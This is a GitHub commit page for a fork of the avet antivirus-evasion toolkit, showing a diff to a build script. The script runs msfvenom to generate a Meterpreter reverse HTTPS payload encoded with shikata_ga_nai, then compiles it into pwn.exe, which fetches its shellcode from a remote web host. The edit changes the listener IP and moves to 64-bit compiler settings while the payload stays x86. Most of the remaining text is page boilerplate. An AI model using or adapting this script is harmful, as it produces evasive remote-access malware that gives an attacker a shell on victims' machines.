forked from govolution/avet
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
43add2f
commit cc5387b
Showing
4 changed files
with
7 additions
and
6 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
8 changes: 4 additions & 4 deletions
8
build/build_win32_meterpreter_rev_https_shikata_load_ie_debug.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,14 +1,14 @@ | ||
#!/bin/bash | ||
# simple example script for building the .exe file | ||
. build/global_win32.sh | ||
. build/global_win64.sh | ||
# make meterpreter reverse payload, encoded with shikata_ga_nai | ||
# additionaly to the avet encoder, further encoding should be used | ||
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.2.105 lport=443 -e x86/shikata_ga_nai -i 2 -f c -a x86 --platform Windows > sc.txt | ||
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.116.128 lport=443 -e x86/shikata_ga_nai -i 2 -f c -a x86 --platform Windows > sc.txt | ||
# format the shellcode for make_avet | ||
./format.sh sc.txt > scclean.txt && rm sc.txt | ||
# call make_avet, compile | ||
./make_avet -E -u 192.168.2.105/scclean.txt -p | ||
$win32_compiler -o pwn.exe avet.c | ||
./make_avet -X -E -u 192.168.2.105/scclean.txt -p | ||
$win64_compiler -o pwn.exe avet.c | ||
# cleanup | ||
echo " " > defs.h | ||
# now copy scclean.txt to your web root and start |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters